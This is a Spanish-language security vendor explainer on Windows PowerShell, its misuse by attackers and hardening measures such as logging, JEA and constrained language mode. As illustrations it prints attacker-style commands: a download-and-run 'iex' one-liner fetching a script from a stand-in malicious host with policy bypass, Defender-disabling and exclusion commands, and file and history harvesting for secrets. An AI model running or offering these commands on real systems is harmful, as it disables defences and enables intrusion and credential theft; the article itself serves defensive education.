
¿Qué es Windows PowerShell?
Windows PowerShell es una potente herramienta de automatización. Conozca sus implicaciones de seguridad y cómo usarla de forma segura en su entorno.

Windows PowerShell es un potente lenguaje de scripting e intérprete de comandos para automatizar tareas y gestionar configuraciones. Esta guía explora las funciones y capacidades de PowerShell, incluido su papel en la administración y seguridad de sistemas.
Conozca los comandos habituales de PowerShell, las buenas prácticas de scripting y sus aplicaciones en ciberseguridad. Comprender PowerShell es esencial para los profesionales de IT y de seguridad.

¿Cómo puede afectar PowerShell a los activos valiosos de su empresa? Conozca los fundamentos de PowerShell, por qué atrae a los atacantes y cómo proteger su empresa
Microsoft PowerShell es un intérprete de comandos y lenguaje de scripting que se usa para automatizar tareas y gestionar sistemas Windows. Los administradores y profesionales de seguridad lo usan habitualmente para automatizar tareas rutinarias, gestionar y supervisar sistemas y automatizar la respuesta a incidentes de seguridad. Los atacantes suelen usar PowerShell para obtener acceso no autorizado a sistemas y ejecutar código malicioso.
Microsoft PowerShell está disponible en Windows desde 2006, pero ahora es el intérprete de comandos del Explorador de archivos en Windows 10 y ha sustituido en gran medida a la antigua herramienta cmd.exe. Aunque muchos usuarios lo consideran complejo, PowerShell se ha vuelto esencial para los equipos de IT y los administradores de redes por su flexibilidad y potencia. En esta guía introductoria, explicaremos los fundamentos de PowerShell, por qué atrae a los atacantes y creadores de malware, y qué puede hacer para proteger su organización.
Elija su versión
Si escribe «PowerShell» en el campo de búsqueda de Cortana, verá dos opciones: PowerShell ISE y la aplicación de escritorio de PowerShell. Además, si hace clic con el botón derecho en el menú Inicio o en el icono de cualquiera de las dos versiones de PowerShell en la barra de tareas, verá dos formas de iniciar cada una: como usuario actual o como administrador.

Los administradores que quieran automatizar tareas habituales probablemente usarán la interfaz ISE para desarrollar módulos y scripts de PowerShell. Para el uso interactivo, la mayoría elegirá la aplicación de escritorio de PowerShell y la ejecutará como administrador o como usuario actual, según la tarea.
También puede oír hablar de PowerShell Core, una edición multiplataforma y de código abierto que funciona en Windows, Linux y macOS:

Sin embargo, tenga cuidado: se instala como un archivo binario sin firmar y podría sustituirse fácilmente por uno malicioso. Si tiene endpoints que usan PowerShell Core, asegúrese de que su organización lo firme con un certificado adecuado o ejecute comprobaciones periódicas de shasum para verificar que no se haya alterado.
Aunque las distintas versiones de PowerShell difieren en algunas capacidades, todas pueden ejecutar sesiones remotas mediante SSH e interactuar con una amplia variedad de procesos y servicios. PowerShell incluso puede interactuar con el registro y el registro de eventos de Windows. Esto significa que un adversario con acceso a PowerShell dispone de las mismas capacidades.
Descubra su potencial
Puede empezar a conocer las capacidades de PowerShell con dos comandos sencillos:
Get-Module -ListAvailable
para mostrar los módulos disponibles, y
Get-Command
para mostrar los comandos disponibles:

Veamos algunos ejemplos. Suponga que usted, o un adversario, examina un directorio de documentos y quiere saber rápidamente si contiene algo de interés. El siguiente comando muestra las dos primeras y las dos últimas líneas de cada archivo de texto del directorio. Recorre también los subdirectorios, incluye los archivos ocultos y envía el resultado a otro archivo de texto para revisarlo o recuperarlo más adelante:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Si alguien buscara documentos que comiencen con «Confidencial» o terminen con el cargo del autor, como «Director financiero», esta sería una forma rápida de identificar elementos de interés.
Eliminar un elemento, quizá para borrar pruebas de una intrusión, solo requiere ejecutar
Remove-Item <path>
PowerShell también permite manipular el sistema operativo de formas interesantes y, por desgracia, peligrosas. Si un creador de malware quiere eludir el motor antivirus preinstalado de Microsoft Defender, puede ejecutar un comando de PowerShell con los privilegios adecuados para desactivarlo:
Set-MpPreference -DisableRealTimeMonitoring $true
o, de forma algo más discreta, excluir una unidad o ruta de sus búsquedas:
Add-MpPreference -ExclusionPath “c:”
PowerShell también facilita a los atacantes tareas como enumerar las unidades de red y consultar el registro de eventos para encontrar información explotable, mediante Get-PSDrive y Get-EventLog, respectivamente.

Tanto los usuarios como los atacantes pueden consultar el historial de comandos introducidos de forma interactiva en la línea de comandos, incluidos sus argumentos. El historial se almacena en la ruta que muestra este comando:
(Get-PSReadLineOption).HistorySavePath
Podemos usar cat y el cmdlet Select-String (o su alias sls) para buscar elementos de interés entre los comandos (por ejemplo, contraseñas):

Scripts y kits de explotación
Sin embargo, el uso de PowerShell desde la línea de comandos no ofrece las mejores oportunidades a los actores maliciosos. Más peligrosa es su capacidad de ejecutar scripts tanto en memoria (los llamados ataques de malware «sin archivos») como desde el disco. Ambos tipos pueden ejecutarse directamente en un host o de forma remota.
Al igual que el comando eval del intérprete de Unix, PowerShell dispone de Invoke-Expression (y su alias iex), que permite descargar y ejecutar un script malicioso en memoria. Podemos añadir Bypass para intentar eludir una política de ejecución restringida:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Como era de esperar, no tardaron en aparecer marcos de explotación completos que aprovechan todo el potencial de PowerShell.
El primero de ellos es PowerSploit, una colección de scripts de PowerShell para manipular y controlar el equipo de una víctima.

PowerShell Empire aprovecha el trabajo de PowerSploit y otros proyectos para crear una herramienta de posexplotación que evade la detección en la red, ejecuta registradores de pulsaciones de teclas y activa otros módulos, como Mimikatz, para extraer directamente de la memoria contraseñas en texto plano, hashes de contraseñas y otros datos.

El auge de los ataques con PowerShell
La creación de scripts y comandos de PowerShell que pueden ejecutarse desde otros tipos de archivos de Windows, como .exe, .bat, .wsf y .LNK, es una de las razones por las que el malware basado en PowerShell ha aumentado en los últimos años. Según una estimación que atribuye casi el 40% de los incidentes de malware a la explotación de PowerShell, está claro que los atacantes lo utilizan en campañas muy diversas, desde el ransomware hasta el robo de credenciales y los troyanos bancarios. PowerShell también se ha utilizado para el fraude de clics, la captura de contraseñas y la exfiltración de datos.
DNSMessenger es un malware cuya propagación se detectó en una macro de un documento de Word. Utiliza código fuente VBA para transmitir comandos de PowerShell codificados, mantener la persistencia, entregar su carga útil y comunicarse con un servidor C&C.
Sorprendentemente, algunos ataques con PowerShell ni siquiera requieren el PowerShell.exe integrado. Herramientas como PowerShdll e InsecurePowerShell ejecutan scripts directamente mediante System.Management.Automation.dll, la biblioteca en la que se basa el ejecutable de PowerShell. En definitiva, el ejecutable de PowerShell es solo un contenedor para el código real de la biblioteca de vínculos dinámicos. Los ataques pueden aprovechar esto para hacer que prácticamente cualquier proceso ejecute scripts y comandos de PowerShell.
Otros usos creativos de PowerShell incluyen incrustar un script de PowerShell en los píxeles de un archivo PNG y generar un comando de una sola línea para ejecutarlo mediante Invoke-PSImage, o convertir scripts de PowerShell en archivos EXE con herramientas como PS2EXE.
Gestión de PowerShell
Por todo lo anterior, probablemente esté claro que limitarse a bloquear PowerShell.exe sería inútil, además de imponer una gran carga a los administradores de sistemas que dependen de sus capacidades. Es importante entender que PowerShell y las DLL en las que se basa son partes integrales del sistema operativo Windows. Con la llegada de PowerShell Core, sus capacidades se extienden a la administración multiplataforma, que puede resultar esencial para las empresas.
Una solución empresarial eficaz para abordar la doble naturaleza de PowerShell es SentinelOne, que analiza el comportamiento de los procesos que se ejecutan en el endpoint. Esto funciona porque los procesos se comportan de forma similar, independientemente de cómo se lleven a cabo los ataques de malware. El agente de SentinelOne supervisa todas las actividades en el agente para distinguir las maliciosas de las benignas. Dado que el agente ya dispone de todo el contexto: usuarios, procesos, argumentos de la línea de comandos, registro, archivos en el disco y comunicaciones externas, puede mitigar la actividad maliciosa independientemente de su origen.
¿Le gustó este artículo? Síganos en LinkedIn, Twitter, YouTube o Facebook para ver el contenido que publicamos.
Más información sobre la seguridad de Windows
- Vuelve el troyano bancario Hancitor | Utiliza un archivo adjunto malicioso de Word
- SentinelOne detecta y bloquea una nueva variante de Powershell CryptoWorm
- Un nuevo tipo de archivo de Windows 10 puede utilizarse para ejecutar aplicaciones maliciosas

Ciberseguridad basada en IA
Mejore su postura de seguridad con detección en tiempo real, respuesta a velocidad de máquina y visibilidad total de todo su entorno digital.
Preguntas frecuentes sobre Windows PowerShell
Windows PowerShell es un intérprete de línea de comandos y un lenguaje de scripting de Microsoft basado en .NET Framework. Permite usar cmdlets —comandos sencillos con formato verbo-sustantivo— para automatizar tareas como la gestión del sistema de archivos, el registro y los servicios.
PowerShell procesa y devuelve objetos en lugar de texto sin formato, por lo que puede transmitir datos estructurados de un cmdlet a otro. También admite la administración remota, los módulos y la ayuda integrada en la consola para gestionar sistemas.
A diferencia del antiguo CMD, PowerShell usa cmdlets con formato verbo-sustantivo y trabaja con objetos .NET en lugar de flujos de texto. Esto permite encadenar comandos mediante canalizaciones sin analizar texto. Los scripts de PowerShell pueden llamar directamente a las API de .NET, ofrecen una gestión de errores más completa y admiten módulos.
Los intérpretes de comandos tradicionales solo procesan texto sin formato y scripts por lotes básicos, mientras que PowerShell ofrece un entorno completo de scripting para la automatización y la configuración.
La profunda integración de PowerShell con el sistema y su capacidad de scripting lo convierten en una herramienta habitual tanto para administradores como para atacantes. Los actores de amenazas emplean técnicas sin archivos, que ejecutan scripts en memoria, para evadir la detección.
PowerShell puede desactivar las defensas, descargar código malicioso o robar credenciales sin escribir en el disco. Su presencia generalizada en Windows exige que los defensores consideren su actividad de alto riesgo y la supervisen de cerca para detectar usos indebidos.
Según un estudio de Cisco, PowerShell estuvo implicado en más de un tercio de las amenazas de seguridad críticas en endpoints. Carbon Black detectó un uso indebido de PowerShell en el 38 por ciento de los incidentes, a menudo en acciones posteriores a la explotación, como el movimiento lateral o el robo de credenciales.
Aunque su uso habitual es bajo, PowerShell aparece aproximadamente en uno de cada catorce casos confirmados de actividad maliciosa.
Active todos los registros de PowerShell: los de módulos, bloques de scripts y transcripciones. Establezca un tamaño de registro de al menos 150 MB y recopile eventos de
Microsoft-Windows-PowerShell/Operational y PowerShellCore/Operational. Envíe los registros a un SIEM o XDR. Bloquee los scripts iniciados por procesos principales no confiables y restrinja la política de ejecución a scripts firmados. Active Protected Event Logging para obtener más detalles.
Use Just Enough Administration (JEA) para limitar el acceso de los usuarios a los cmdlets aprobados. Aplique el modo de lenguaje restringido para desactivar COM, WMI y las expresiones complejas. Implemente políticas de control de aplicaciones (por ejemplo, WDAC) para incluir los scripts firmados en una lista de permitidos.
Mantenga PowerShell actualizado a la versión 5.1 o posterior. Revise y ajuste periódicamente la configuración de los registros para garantizar que se registre cada ejecución de scripts.
Bloquear PowerShell por completo puede afectar la gestión del sistema y la administración remota. Microsoft desaconseja eliminarlo por completo. En su lugar, limite su ejecución a administradores autorizados, aplique controles de aplicaciones e impida que procesos principales no confiables, como las aplicaciones de Office, inicien PowerShell.
Junto con el registro y la supervisión, estos controles detienen la mayoría de los usos maliciosos sin obstaculizar las operaciones legítimas.
PowerShell permite a los defensores automatizar la respuesta a incidentes, recopilar datos forenses rápidamente y buscar amenazas. Puede crear scripts para recopilar en minutos artefactos del registro, listas de procesos y conexiones de red. Aprender PowerShell también facilita la comprensión de las técnicas de los atacantes, ya que muchas herramientas posteriores a la explotación (Empire, Cobalt Strike) lo usan internamente.
Los scripts de PowerShell pueden recopilar datos de la memoria activa, claves de ejecución del registro, registros de eventos y datos de red para el triaje. Herramientas comunitarias como DFIR-Script automatizan la recopilación de pruebas en los endpoints. Los analistas de amenazas usan PowerShell para consultar el ID de evento 4104 de Windows en busca de bloques de scripts maliciosos, analizar los resultados e incorporarlos a los playbooks de SOAR. Por eso, PowerShell es fundamental en los flujos de trabajo de detección, contención y remediación.


